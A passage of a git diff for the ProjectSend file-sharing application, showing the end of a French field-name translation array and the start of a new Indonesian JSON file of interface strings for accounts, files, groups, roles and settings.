'line_address_2' => 'ligne d\'adresse 2', + 'login' => 'identifiant', + 'message' => 'message', + 'middle_name' => 'deuxième prénom', + 'minute' => 'minute', + 'mobile' => 'portable', + 'month' => 'mois', + 'name' => 'nom', + 'national_code' => 'code national', + 'number' => 'numéro', + 'password' => 'mot de passe', + 'password_confirmation' => 'confirmation du mot de passe', + 'phone' => 'téléphone', + 'photo' => 'photo', + 'portfolio' => 'portefeuille', + 'postal_code' => 'code postal', + 'preview' => 'aperçu', + 'price' => 'prix', + 'product_id' => 'identifiant du produit', + 'product_uid' => 'UID du produit', + 'product_uuid' => 'UUID du produit', + 'promo_code' => 'code promo', + 'province' => 'région', + 'quantity' => 'quantité', + 'reason' => 'raison', + 'recaptcha_response_field' => 'champ de réponse reCAPTCHA', + 'referee' => 'arbitre', + 'referees' => 'arbitres', + 'region' => 'region', + 'reject_reason' => 'motif de rejet', + 'remember' => 'se souvenir', + 'restored_at' => 'date de restauration', + 'result_text_under_image' => 'texte de résultat sous l\'image', + 'role' => 'rôle', + 'rule' => 'règle', + 'rules' => 'règles', + 'second' => 'seconde', + 'sex' => 'sexe', + 'shipment' => 'expédition', + 'short_text' => 'texte court', + 'size' => 'taille', + 'skills' => 'compétences', + 'slug' => 'slug', + 'specialization' => 'spécialisation', + 'started_at' => 'date de début', + 'state' => 'état', + 'status' => 'statut', + 'street' => 'rue', + 'student' => 'étudiant', + 'subject' => 'sujet', + 'tag' => 'mot clé', + 'tags' => 'mots clés', + 'teacher' => 'professeur', + 'terms' => 'conditions', + 'test_description' => 'description du test', + 'test_locale' => 'localisation du test', + 'test_name' => 'nom du test', + 'text' => 'texte', + 'time' => 'heure', + 'title' => 'titre', + 'type' => 'type', + 'updated_at' => 'date de mise à jour', + 'user' => 'utilisateur', + 'username' => 'nom d\'utilisateur', + 'value' => 'valeur', + 'winner' => 'gagnant', + 'work' => 'travail', + 'year' => 'année', + ], +]; diff --git a/lang/id.json b/lang/id.json new file mode 100644 index 00000000..388d2df3 --- /dev/null +++ b/lang/id.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName mengunggah \":itemName\"", + ":count accounts have this role": ":count akun memiliki peran ini", + ":count awaiting approval": ":count menunggu persetujuan", + ":count downloads": ":count unduhan", + ":count file deleted.|:count files deleted.": ":count berkas dihapus.|:count berkas dihapus.", + ":count file imported.|:count files imported.": ":count berkas diimpor.|:count berkas diimpor.", + ":count files": ":count berkas", + ":count folders": ":count folder", + ":count items have been shared with you": ":count item telah dibagikan kepada Anda", + ":count members": ":count anggota", + ":count selected": ":count dipilih", + ":files files": ":files berkas", + ":itemName was shared with you": ":itemName telah dibagikan kepada Anda", + ":name will not be added to the group \":group\".": ":name tidak akan ditambahkan ke grup \":group\".", + ":total total": "total :total", + ":used / :limit downloads": ":used / :limit unduhan", + ":used MB of :quota MB used": ":used MB dari :quota MB terpakai", + ":used MB used, no limit": ":used MB terpakai, tanpa batas", + "(and :count more error)": "(dan :count kesalahan lainnya)", + "(and :count more errors)": "(dan :count kesalahan lainnya)|(dan :count kesalahan lainnya)|(dan :count kesalahan lainnya)", + "(deleted account)": "(akun terhapus)", + "0 means unlimited.": "0 berarti tanpa batas.", + "A client account request was approved": "Permintaan akun klien disetujui", + "A client account request was denied": "Permintaan akun klien ditolak", + "A client left a group": "Seorang klien keluar dari grup", + "A client registered an account": "Seorang klien mendaftarkan akun", + "A client requested to join a group": "Seorang klien meminta bergabung ke grup", + "A client uploaded a file": "Seorang klien mengunggah berkas", + "A client was added to a group": "Seorang klien ditambahkan ke grup", + "A client was removed from a group": "Seorang klien dikeluarkan dari grup", + "A decryption key is required.": "Kunci dekripsi diperlukan.", + "A file assignment was removed": "Penetapan berkas dicabut", + "A file has been shared with you": "Sebuah berkas telah dibagikan kepada Anda", + "A file or folder was shared with you": "Sebuah berkas atau folder telah dibagikan kepada Anda", + "A file was assigned": "Sebuah berkas ditetapkan", + "A file was deleted": "Sebuah berkas dihapus", + "A file was downloaded": "Sebuah berkas diunduh", + "A file was downloaded via a public link": "Sebuah berkas diunduh lewat tautan publik", + "A file was downloaded via the public group listing": "Sebuah berkas diunduh lewat daftar grup publik", + "A file was updated": "Sebuah berkas diperbarui", + "A file was uploaded": "Sebuah berkas diunggah", + "A folder cannot be moved into itself.": "Folder tidak bisa dipindahkan ke dalam dirinya sendiri.", + "A folder has been shared with you": "Sebuah folder telah dibagikan kepada Anda", + "A folder was created": "Sebuah folder dibuat", + "A folder was deleted": "Sebuah folder dihapus", + "A folder was moved": "Sebuah folder dipindahkan", + "A folder was renamed": "Sebuah folder diganti namanya", + "A folder was shared": "Sebuah folder dibagikan", + "A folder was unshared": "Pembagian sebuah folder dibatalkan", + "A group membership request was approved": "Permintaan keanggotaan grup disetujui", + "A group membership request was denied": "Permintaan keanggotaan grup ditolak", + "A group membership was requested": "Ada permintaan keanggotaan grup", + "A group was created": "Sebuah grup dibuat", + "A group was deleted": "Sebuah grup dihapus", + "A group was updated": "Sebuah grup diperbarui", + "A new client account was created: :name (:email).": "Akun klien baru telah dibuat: :name (:email).", + "A new client has registered": "Klien baru telah mendaftar", + "A new ProjectSend version is available": "Tersedia versi ProjectSend yang baru", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Begitu Anda menandai sebuah grup sebagai publik, halamannya selalu bisa diakses lewat tautannya sendiri — bagian ini hanya mengatur URL dasar dan halaman direktori opsional yang menampilkan semua grup dan berkas publik sekaligus.", + "A public link was created": "Sebuah tautan publik dibuat", + "A public link was revoked": "Sebuah tautan publik dicabut", + "A role was created": "Sebuah peran dibuat", + "A role was deleted": "Sebuah peran dihapus", + "A role was updated": "Sebuah peran diperbarui", + "A Timeout Occurred": "Terjadi Timeout", + "About": "Tentang", + "Accept": "Menerima", + "Accepted": "Diterima", + "Account": "Akun", + "Account deletion grace period (days)": "Masa tenggang sebelum akun dihapus (hari)", + "Account is active": "Akun aktif", + "Account Manager": "Manajer akun", + "Account request approved.": "Permintaan akun disetujui.", + "Account request denied.": "Permintaan akun ditolak.", + "Account requests": "Permintaan akun", + "Account settings": "Pengaturan akun", + "Account type": "Jenis akun", + "Accounts": "Akun", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Akun yang terkena ketentuan ini harus menyiapkan autentikasi dua faktor sebelum bisa melanjutkan penggunaan aplikasi.", + "Action": "Aksi", + "Actions": "Aksi", + "Activate": "Aktifkan", + "Activated the account \":subject\"": "Mengaktifkan akun \":subject\"", + "Activating this account approves its pending request.": "Mengaktifkan akun ini sekaligus menyetujui permintaan yang masih tertunda.", + "Active": "Aktif", + "Activity": "Aktivitas", + "Activity log": "Log aktivitas", + "Add": "Tambah", + "Add :name": "Tambahkan :name", + "Add a category": "Tambah kategori", + "Add a client": "Tambah klien", + "Add a second step to your login using an authenticator app.": "Tambahkan langkah kedua saat masuk menggunakan aplikasi autentikator.", + "Add new clients to this group": "Tambahkan klien baru ke grup ini", + "Added \":member\" to the group \":subject\"": "Menambahkan \":member\" ke grup \":subject\"", + "Admin": "Admin", + "Admin notification recipients": "Penerima notifikasi admin", + "Admin: client uploaded a file": "Admin: klien mengunggah berkas", + "Admin: group membership requested": "Admin: ada permintaan keanggotaan grup", + "Admin: new client registered": "Admin: klien baru mendaftar", + "Administration": "Administrasi", + "After uploading you can assign it to clients and groups": "Setelah diunggah, Anda bisa menetapkannya ke klien dan grup", + "Agree": "Setuju", + "All": "Semua", + "All actions": "Semua tindakan", + "All categories": "Semua kategori", + "All clients": "Semua klien", + "All comments": "Semua komentar", + "All failed jobs deleted.": "Semua tugas yang gagal telah dihapus.", + "All files": "Semua berkas", + "All groups": "Semua grup", + "All permissions": "Semua izin", + "All rights reserved.": "Hak Cipta Dilindungi.", + "All roles": "Semua peran", + "All statuses": "Semua status", + "All system users": "Semua pengguna sistem", + "All types": "Semua jenis", + "Already have an account?": "Sudah punya akun?", + "Already Reported": "Sudah dilaporkan", + "Always": "Selalu", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Akun telah dibuat untuk Anda. Anda bisa masuk sekarang.", + "An account was activated": "Sebuah akun diaktifkan", + "An account was created": "Sebuah akun dibuat", + "An account was deactivated": "Sebuah akun dinonaktifkan", + "An account was deleted": "Sebuah akun dihapus", + "An account was permanently erased": "Sebuah akun dihapus permanen", + "An account was updated": "Sebuah akun diperbarui", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Administrator yang menghapus akun ditanya setiap kali; penghapusan otomatis untuk akun yang dihapus sendiri berjalan tanpa pengawasan dan mengikuti pilihan ini, sehingga tidak ada yang tertinggal tanpa pemilik.", + "An administrator will review your group requests.": "Administrator akan meninjau permintaan grup Anda.", + "An orphan file was deleted": "Sebuah berkas yatim dihapus", + "An orphan file was imported": "Sebuah berkas yatim diimpor", + "An overview of this installation": "Ringkasan instalasi ini", + "Any audience": "Semua kalangan", + "Anyone": "Siapa saja", + "Anyone using it will no longer be able to download the file.": "Siapa pun yang memakainya tidak akan bisa lagi mengunduh berkas tersebut.", + "Appearance": "Tampilan", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Berlaku untuk halaman grup dan berkas publik bagi pengunjung serta portal klien \"Berkas saya\".", + "Apply filters": "Terapkan filter", + "Approve": "Setujui", + "Approve account requests": "Menyetujui permintaan akun", + "Approve group membership requests": "Menyetujui permintaan keanggotaan grup", + "Approved the account request of \":subject\"": "Menyetujui permintaan akun dari \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Menyetujui keanggotaan \":member\" di grup \":subject\"", + "Archive": "Arsip", + "Are deleted along with the account": "Dihapus bersama akun", + "Are reassigned to another account": "Dialihkan ke akun lain", + "Are you sure you want to delete your account?": "Yakin ingin menghapus akun Anda?", + "Assign": "Menetapkan", + "Assign categories to files": "Menetapkan kategori ke berkas", + "Assigned": "Ditetapkan", + "Assigned clients": "Klien yang ditangani", + "Assigned the file \":subject\" to :target": "Menetapkan berkas \":subject\" untuk :target", + "Associate": "Rekan", + "Attach": "Lampirkan", + "Audience": "Kalangan", + "Authentication code": "Kode autentikasi", + "Authentication requirements for this installation": "Persyaratan autentikasi untuk instalasi ini", + "Author": "Penulis", + "Available groups": "Grup yang tersedia", + "Available placeholders": "Placeholder yang tersedia", + "Back to My files": "Kembali ke Berkas saya", + "Bad Gateway": "Gateway buruk", + "Bad Request": "Permintaan yang buruk", + "Bandwidth Limit Exceeded": "Batas Bandwidth terlampaui", + "Blue": "Biru", + "Body": "Isi pesan", + "Browse": "Jelajahi", + "Browse publicly shared groups and files below.": "Jelajahi grup dan berkas yang dibagikan secara publik di bawah ini.", + "Built-in": "Bawaan", + "Built-in role names cannot be changed.": "Nama peran bawaan tidak bisa diubah.", + "Built-in roles cannot be deleted.": "Peran bawaan tidak bisa dihapus.", + "Call to action": "Ajakan bertindak", + "Cancel": "Batal", + "Categories": "Kategori", + "Category": "Kategori", + "Category created.": "Kategori dibuat.", + "Category deleted.": "Kategori dihapus.", + "Category updated.": "Kategori diperbarui.", + "Changed their password": "Mengubah kata sandinya", + "Checkbox": "Kotak centang", + "Checksum (SHA-256)": "Checksum (SHA-256)", + "Choose": "Pilih", + "Choose :name": "Pilih :name", + "Choose an account…": "Pilih akun…", + "Choose File": "Pilih Berkas", + "Choose Image": "Pilih Gambar", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Pilih notifikasi mana yang juga dikirim lewat email. Semuanya tetap selalu muncul di lonceng notifikasi.", + "Clear": "Bersihkan", + "Click to copy": "Klik untuk menyalin", + "Client": "Klien", + "Client account approved": "Akun klien disetujui", + "Client account denied": "Akun klien ditolak", + "Client account edited": "Akun klien diubah", + "Client Closed Request": "Permintaan ditutup klien", + "Client created.": "Klien dibuat.", + "Client deleted.": "Klien dihapus.", + "Client Manager": "Pengelola klien", + "Client settings": "Pengaturan klien", + "Client updated.": "Klien diperbarui.", + "Client welcome (staff-created account)": "Sambutan klien (akun dibuat oleh staf)", + "Clients": "Klien", + "Clients and groups that can download this file": "Klien dan grup yang dapat mengunduh berkas ini", + "Clients asking to join groups": "Klien yang meminta bergabung ke grup", + "Clients who registered themselves and are waiting for approval": "Klien yang mendaftar sendiri dan menunggu persetujuan", + "Close": "Tutup", + "Collapse": "Runtuh", + "Collapse All": "Ciutkan Semua", + "Color": "Warna", + "Columns": "Kolom", + "Comment": "Komentar", + "Confirm": "Konfirmasi", + "Confirm password": "Konfirmasi kata sandi", + "Conflict": "Konflik", + "Connect": "Menghubung", + "Connection Closed Without Response": "Koneksi Ditutup Tanpa Respon", + "Connection Timed Out": "Waktu koneksi berakhir", + "Continue": "Lanjut", + "Copy URL": "Salin URL", + "Copy link": "Salin tautan", + "Counters": "Penghitung", + "Create": "Buat", + "Create :name": "Buat :name", + "Create a client account": "Buat akun klien", + "Create a public link": "Buat tautan publik", + "Create a staff account for this installation": "Buat akun staf untuk instalasi ini", + "Create administrator account": "Buat akun administrator", + "Create an account for someone you share files with": "Buat akun untuk orang yang Anda kirimi berkas", + "Create categories": "Membuat kategori", + "Create category": "Buat kategori", + "Create client": "Buat klien", + "Create clients": "Membuat klien", + "Create custom assets": "Membuat aset kustom", + "Create field": "Buat bidang", + "Create folder": "Buat folder", + "Create group": "Buat grup", + "Create groups": "Membuat grup", + "Create link": "Buat tautan", + "Create own folders": "Membuat folder sendiri", + "Create role": "Buat peran", + "Create system users": "Membuat pengguna sistem", + "Create user": "Buat pengguna", + "Created": "Dibuat", + "Created a public link for the file \":subject\"": "Membuat tautan publik untuk berkas \":subject\"", + "Created by": "Dibuat oleh", + "Created the account \":subject\"": "Membuat akun \":subject\"", + "Created the folder \":subject\"": "Membuat folder \":subject\"", + "Created the group \":subject\"": "Membuat grup \":subject\"", + "Created the role \":subject\"": "Membuat peran \":subject\"", + "Custom": "Kustom", + "Custom assets": "Aset kustom", + "Custom fields": "Bidang kustom", + "Custom links with an optional expiration date or download limit, no account needed.": "Tautan sesuai keinginan Anda, dengan tanggal kedaluwarsa atau batas unduhan opsional, tanpa perlu akun.", + "Custom roles let you grant a precise set of permissions": "Peran kustom memungkinkan Anda memberikan izin persis seperti yang dibutuhkan", + "Custom SMTP": "SMTP kustom", + "Customize the wording of any transactional email sent by this installation.": "Sesuaikan kalimat pada setiap email transaksional yang dikirim instalasi ini.", + "Customized": "Sudah disesuaikan", + "Dark": "Gelap", + "Dashboard": "Dasbor", + "Dashboard widgets": "Widget dasbor", + "Data retention and visibility for this installation": "Penyimpanan data dan visibilitas untuk instalasi ini", + "Database": "Basis data", + "Date": "Tanggal", + "Days before a denied membership request can be made again": "Jumlah hari sebelum permintaan keanggotaan yang ditolak bisa diajukan lagi", + "Deactivate your account now; it is permanently erased after :days days": "Nonaktifkan akun Anda sekarang; setelah :days hari akan dihapus permanen", + "Deactivated the account \":subject\"": "Menonaktifkan akun \":subject\"", + "Default": "Bawaan", + "Defaults to the file name.": "Secara bawaan memakai nama berkas.", + "Delete": "Hapus", + "Delete :name": "Hapus :name", + "Delete account": "Hapus akun", + "Delete all": "Hapus semua", + "Delete all failed": "Hapus semua yang gagal", + "Delete all failed jobs?": "Hapus semua tugas yang gagal?", + "Delete categories": "Menghapus kategori", + "Delete category": "Hapus kategori", + "Delete category?": "Hapus kategori ini?", + "Delete client": "Hapus klien", + "Delete client?": "Hapus klien ini?", + "Delete clients": "Menghapus klien", + "Delete custom assets": "Menghapus aset kustom", + "Delete field": "Hapus bidang", + "Delete field?": "Hapus bidang ini?", + "Delete file": "Hapus berkas", + "Delete file?": "Hapus berkas ini?", + "Delete files": "Menghapus berkas", + "Delete folder": "Hapus folder", + "Delete folder?": "Hapus folder ini?", + "Delete group": "Hapus grup", + "Delete group?": "Hapus grup ini?", + "Delete groups": "Menghapus grup", + "Delete others' files": "Menghapus berkas milik orang lain", + "Delete own files": "Menghapus berkas sendiri", + "Delete role": "Hapus peran", + "Delete role?": "Hapus peran ini?", + "Delete selected": "Hapus yang dipilih", + "Delete selected files?": "Hapus berkas yang dipilih?", + "Delete system users": "Menghapus pengguna sistem", + "Delete this file?": "Hapus berkas ini?", + "Delete user": "Hapus pengguna", + "Delete user?": "Hapus pengguna ini?", + "Deleted account": "Akun terhapus", + "Deleted the account \":name\"": "Menghapus akun \":name\"", + "Deleted the file \":name\"": "Menghapus berkas \":name\"", + "Deleted the folder \":name\" and its contents": "Menghapus folder \":name\" beserta isinya", + "Deleted the group \":name\"": "Menghapus grup \":name\"", + "Deleted the orphan file \":name\"": "Menghapus berkas yatim \":name\"", + "Deleted the role \":name\"": "Menghapus peran \":name\"", + "Denied the account request of \":name\"": "Menolak permintaan akun dari \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Menolak keanggotaan \":member\" di grup \":subject\"", + "Deny": "Tolak", + "Deny this request?": "Tolak permintaan ini?", + "Description": "Deskripsi", + "Description (optional)": "Deskripsi (opsional)", + "Detach": "Melepaskan", + "Details": "Detail", + "Disable": "Matikan", + "Disable two-factor authentication?": "Matikan autentikasi dua faktor?", + "Disabled two-factor authentication": "Mematikan autentikasi dua faktor", + "Discard": "Membuang", + "Discourage search engines from indexing this site": "Minta mesin pencari agar tidak mengindeks situs ini", + "Dismiss": "Tutup", + "Documentation": "Dokumentasi", + "Don't have an account?": "Belum punya akun?", + "Done": "Selesai", + "Down": "Turun", + "Download": "Unduh", + "Download as zip": "Unduh sebagai ZIP", + "Downloaded the file \":subject\"": "Mengunduh berkas \":subject\"", + "Downloaded the file \":subject\" via a public link": "Mengunduh berkas \":subject\" lewat tautan publik", + "Downloaded the file \":subject\" via the public group listing": "Mengunduh berkas \":subject\" lewat daftar grup publik", + "Downloads": "Unduhan", + "Downloads are never recorded with an IP address.": "Unduhan tidak pernah dicatat bersama alamat IP.", + "Drag to reorder": "Seret untuk mengubah urutan", + "Drag widgets here": "Seret widget ke sini", + "Dropdown": "Daftar pilihan", + "Duplicate": "Duplikat", + "Duplicate :name": "Duplikat :name", + "Edit": "Sunting", + "Edit :name": "Sunting :name", + "Edit categories": "Mengubah kategori", + "Edit clients": "Mengubah klien", + "Edit custom assets": "Mengubah aset kustom", + "Edit email templates": "Mengubah templat email", + "Edit groups": "Mengubah grup", + "Edit others' files": "Mengubah berkas milik orang lain", + "Edit own files": "Mengubah berkas sendiri", + "Edit system settings": "Mengubah pengaturan sistem", + "Edit system users": "Mengubah pengguna sistem", + "Edit this client account": "Ubah akun klien ini", + "Edit this staff account": "Ubah akun staf ini", + "Edition": "Edisi", + "Email": "Email", + "Email address": "Alamat email", + "Email settings": "Pengaturan email", + "Email template reset to default.": "Templat email dikembalikan ke teks bawaan.", + "Email template saved.": "Templat email disimpan.", + "Email templates": "Templat email", + "Empty file": "Berkas kosong", + "Enable": "Nyalakan", + "Enable the public directory page": "Aktifkan halaman direktori publik", + "Enable two-factor authentication": "Aktifkan autentikasi dua faktor", + "Enabled two-factor authentication": "Mengaktifkan autentikasi dua faktor", + "Encrypted environment file already exists.": "Enkripsi file environment sudah ada.", + "Encrypted environment file not found.": "Enkripsi file environment tidak ditemukan.", + "Encryption": "Enkripsi", + "Enter one of your recovery codes.": "Masukkan salah satu kode pemulihan Anda.", + "Enter the six-digit code from your authenticator app.": "Masukkan kode enam digit dari aplikasi autentikator Anda.", + "Enter your email and password below to log in": "Masukkan email dan kata sandi Anda di bawah ini untuk masuk", + "Environment": "Lingkungan", + "Environment file already exists.": "File environment sudah ada.", + "Environment file not found.": "file environment tidak ditemukan.", + "errors": "kesalahan", + "Every comment on files you can see, newest first": "Semua komentar pada berkas yang bisa Anda lihat, terbaru lebih dulu", + "Every download records the IP address of whoever downloaded it.": "Setiap unduhan mencatat alamat IP orang yang mengunduhnya.", + "Everyone": "Semua orang", + "Everything that happened on this installation, newest first": "Semua yang terjadi di instalasi ini, terbaru lebih dulu", + "Expand": "Memperluas", + "Expand All": "Melebarkan semua", + "Expectation Failed": "Ekspetasi gagal", + "Expires": "Kedaluwarsa", + "Expires :date": "Kedaluwarsa pada :date", + "Explanation": "Penjelasan", + "Export": "Ekspor", + "Export :name": "Export :name", + "Export CSV": "Ekspor CSV", + "External storage": "Penyimpanan eksternal", + "Extra fields shown on the client create and edit screens.": "Bidang tambahan yang muncul di layar pembuatan dan pengubahan klien.", + "Failed Dependency": "Dependensi gagal", + "Failed to send: :error": "Gagal mengirim: :error", + "File": "Mengajukan", + "File: :name": "Berkas: :name", + "File deleted.": "Berkas dihapus.", + "File imported.": "Berkas diimpor.", + "File name": "Nama berkas", + "File shared with a client": "Berkas yang dibagikan ke klien", + "File updated.": "Berkas diperbarui.", + "File uploaded.": "Berkas diunggah.", + "Files": "File", + "Files can only be assigned to clients or groups.": "Berkas hanya bisa ditetapkan ke klien atau grup.", + "Files shared with you": "Berkas yang dibagikan kepada Anda", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Berkas yang ada di disk tanpa catatan yang cocok — akibat unggahan yang terputus, pemulihan cadangan, atau akses manual ke sistem berkas.", + "Flat labels for files — independent of folders. A file can have several.": "Label sederhana untuk berkas, terlepas dari folder. Satu berkas bisa punya beberapa label.", + "Folder": "Folder", + "Folder: :name": "Folder: :name", + "Folder created.": "Folder dibuat.", + "Folder deleted.": "Folder dihapus.", + "Folder shared with a client": "Folder yang dibagikan ke klien", + "Folders can only be shared with clients or groups.": "Folder hanya bisa dibagikan ke klien atau grup.", + "Folders cannot be nested more than :max levels deep.": "Folder tidak bisa bersarang lebih dari :max tingkat.", + "Forbidden": "Dilarang", + "Forgot password?": "Lupa kata sandi?", + "Found": "Ditemukan", + "From": "Dari", + "From address": "Alamat pengirim", + "From name": "Nama pengirim", + "Gateway Timeout": "Gateway waktu habis", + "General": "Umum", + "General settings": "Pengaturan umum", + "Go Home": "Ke Halaman Utama", + "Go to page :page": "Ke halaman :page", + "Go to the login form": "Ke formulir masuk", + "Gone": "Hilang", + "Gray": "Abu-abu", + "Green": "Hijau", + "Group": "Grup", + "Group created.": "Grup dibuat.", + "Group deleted.": "Grup dihapus.", + "Group membership approved": "Keanggotaan grup disetujui", + "Group membership denied": "Keanggotaan grup ditolak", + "Group updated.": "Grup diperbarui.", + "Groups": "Grup", + "Groups clients can request to join at registration": "Grup yang boleh diminta klien saat mendaftar", + "Groups let you assign files to several clients at once": "Grup memudahkan Anda menetapkan berkas ke beberapa klien sekaligus", + "Hello :name,": "Halo :name,", + "Hello, :name": "Halo, :name", + "Hello!": "Halo!", + "Here is what has been shared with you": "Berikut yang dibagikan kepada Anda", + "Hide": "Bersembunyi", + "Hide :name": "Sembunyikan :name", + "Home": "Rumah", + "Host": "Host", + "How client accounts are created on this installation": "Cara akun klien dibuat di instalasi ini", + "How long a self-deleted account is kept before it is permanently erased.": "Berapa lama akun yang dihapus sendiri oleh pemiliknya disimpan sebelum dihapus permanen.", + "How many files/folders were shared at once": "Berapa banyak berkas/folder yang dibagikan sekaligus", + "HTTP Version Not Supported": "Versi HTTP tidak mendukung", + "I'm a teapot": "Saya teko", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Jika akun ini sudah tidak tersedia saat penghapusan dijalankan, file akan dihapus alih-alih dibiarkan tanpa pemilik.", + "If you did not create an account, no further action is required.": "Jika Anda tidak membuat akun, Anda tidak perlu melakukan apapun.", + "If you did not request a password reset, no further action is required.": "Jika Anda tidak meminta pengaturan ulang kata sandi, Anda tidak perlu melakukan apapun.", + "If you received this, your email configuration is working.": "Jika Anda menerima pesan ini, berarti konfigurasi email Anda berfungsi.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Jika Anda mengalami kesulitan mengklik tombol \":actionText\", salin dan tempel URL di bawah\nke browser web Anda:", + "IM Used": "IM Digunakan", + "Image": "Gambar", + "Impersonate": "Penyamaran", + "Impersonation": "Peniruan", + "Import": "Impor", + "Import :name": "Impor :name", + "Import orphan files": "Impor berkas yatim", + "Import selected": "Impor yang dipilih", + "Imported the orphan file \":subject\"": "Mengimpor berkas yatim \":subject\"", + "Inactive": "Tidak aktif", + "Include this file when a group it's shared with is public.": "Sertakan berkas ini ketika grup yang dibagikan berkas ini bersifat publik.", + "Insert": "Sisipkan", + "Installed ProjectSend": "Memasang ProjectSend", + "Insufficient Storage": "Penyimpanan tidak cukup", + "Internal Server Error": "Kesalahan dari dalam server", + "Introduction": "Perkenalan", + "Invalid filename.": "Nama file tidak valid.", + "Invalid JSON was returned from the route.": "JSON yang tidak valid dikembalikan dari rute.", + "Invalid SSL Certificate": "Sertifikat SSL tidak sah", + "Label": "Label", + "Last modified": "Terakhir diubah", + "Latest files": "Berkas terbaru", + "Leave": "Keluar", + "Leave empty for a link that never expires.": "Kosongkan agar tautan tidak pernah kedaluwarsa.", + "Leave empty for unlimited downloads.": "Kosongkan agar unduhan tidak dibatasi.", + "Leave group": "Keluar dari grup", + "Leave this group?": "Keluar dari grup ini?", + "Left the group \":subject\"": "Keluar dari grup \":subject\"", + "length": "panjang", + "Length Required": "Panjang diperlukan", + "Library": "Pustaka", + "Light": "Terang", + "Like": "Menyukai", + "Limit download counts": "Membatasi jumlah unduhan", + "Limit to assigned clients": "Batasi ke klien yang ditangani", + "Limits for files uploaded to this installation": "Batasan untuk berkas yang diunggah ke instalasi ini", + "Link unavailable": "Tautan tidak tersedia", + "Load": "Memuat", + "Loading…": "Memuat…", + "Local storage": "Penyimpanan lokal", + "Localize": "Melokalisir", + "Location": "Lokasi", + "Locked": "Terkunci", + "Log in": "Masuk", + "Log In": "Masuk", + "Log in to your account": "Masuk ke akun Anda", + "Log out": "Keluar", + "Log Out": "Keluar", + "Logged in": "Masuk ke sistem", + "Logged out": "Keluar dari sistem", + "Login": "Masuk", + "Logout": "Keluar", + "Loop Detected": "Terdeteksi perulangan", + "Mail provider settings saved.": "Pengaturan penyedia email disimpan.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Mode pemeliharaan", + "Manage custom fields": "Mengelola bidang kustom", + "Manage public links from the edit page.": "Kelola tautan publik dari halaman pengubahan.", + "Manage system users and roles": "Mengelola pengguna sistem dan peran", + "Manage updates": "Mengelola pembaruan", + "Manage your profile and account settings": "Kelola profil dan pengaturan akun Anda", + "Mark all read": "Tandai semua sudah dibaca", + "Mark as read": "Tandai sudah dibaca", + "Mark as unread": "Tandai belum dibaca", + "Max downloads": "Unduhan maks.", + "Maximum file size (MB)": "Ukuran berkas maksimum (MB)", + "Member": "Anggota", + "Members": "Anggota", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Pemegang peran ini hanya melihat berkas dan folder milik klien yang ditugaskan kepada mereka, ditambah unggahan mereka sendiri.", + "Membership request approved.": "Permintaan keanggotaan disetujui.", + "Membership request denied.": "Permintaan keanggotaan ditolak.", + "Membership requests": "Permintaan keanggotaan", + "Membership requests are reviewed by an administrator": "Permintaan keanggotaan ditinjau oleh administrator", + "Method Not Allowed": "Metode tidak diizinkan", + "Minutes until the reset link expires": "Menit sampai tautan penyetelan ulang kedaluwarsa", + "Misdirected Request": "Permintaan salah arah", + "Modified": "Diubah", + "Moved Permanently": "Pengalihan permanen", + "Moved the folder \":subject\"": "Memindahkan folder \":subject\"", + "Multi-line text": "Teks beberapa baris", + "Multi-Status": "Status ganda", + "Multiple Choices": "Pilihan ganda", + "Multiple files/folders shared at once (digest)": "Beberapa berkas/folder dibagikan sekaligus (ringkasan)", + "My files": "Berkas saya", + "My groups": "Grup saya", + "Name": "Nama", + "Name or description": "Nama atau deskripsi", + "Name or email address": "Nama atau alamat email", + "Never": "Tidak pernah", + "Never expires": "Tidak pernah kedaluwarsa", + "Network Authentication Required": "Otentikasi jaringan diperlukan", + "Network Connect Timeout Error": "Network Connect Timeout gagal", + "Network Read Timeout Error": "Network Read Timeout gagal", + "New": "Baru", + "New :name": "Baru :name", + "New category": "Kategori baru", + "New client": "Klien baru", + "New client registrations and client uploads are sent here — at least one address is required.": "Pendaftaran klien baru dan unggahan klien dikirim ke sini — dibutuhkan setidaknya satu alamat.", + "New field": "Bidang baru", + "New folder": "Folder baru", + "New group": "Grup baru", + "New membership request from :client for the group \":group\".": "Permintaan keanggotaan baru dari :client untuk grup \":group\".", + "New password (leave blank to keep current)": "Kata sandi baru (kosongkan untuk mempertahankan yang sekarang)", + "New role": "Peran baru", + "New user": "Pengguna baru", + "News": "Kabar terbaru", + "Next": "Berikutnya", + "No": "Tidak", + "No activity matches these filters.": "Tidak ada aktivitas yang cocok dengan filter ini.", + "No activity recorded yet.": "Belum ada aktivitas yang tercatat.", + "No categories match your search.": "Tidak ada kategori yang cocok dengan pencarian Anda.", + "No categories yet.": "Belum ada kategori.", + "No clients match these filters.": "Tidak ada klien yang cocok dengan filter ini.", + "No clients yet.": "Belum ada klien.", + "No comments match these filters.": "Tidak ada komentar yang cocok dengan filter ini.", + "No Content": "Tidak ada konten", + "No custom fields yet.": "Belum ada bidang kustom.", + "No downloads recorded yet.": "Belum ada unduhan yang tercatat.", + "No fields match your search.": "Tidak ada bidang yang cocok dengan pencarian Anda.", + "No files have been shared with you yet.": "Belum ada berkas yang dibagikan kepada Anda.", + "No files here yet.": "Belum ada berkas di sini.", + "No files or folders match your search.": "Tidak ada berkas atau folder yang cocok dengan pencarian Anda.", + "No files yet. Upload the first one.": "Belum ada berkas. Unggah yang pertama.", + "No folder": "Tanpa folder", + "No groups match these filters.": "Tidak ada grup yang cocok dengan filter ini.", + "No groups yet.": "Belum ada grup.", + "No members yet.": "Belum ada anggota.", + "No more categories": "Tidak ada kategori lagi", + "No more clients to add": "Tidak ada klien lagi untuk ditambahkan", + "No news yet.": "Belum ada kabar.", + "No 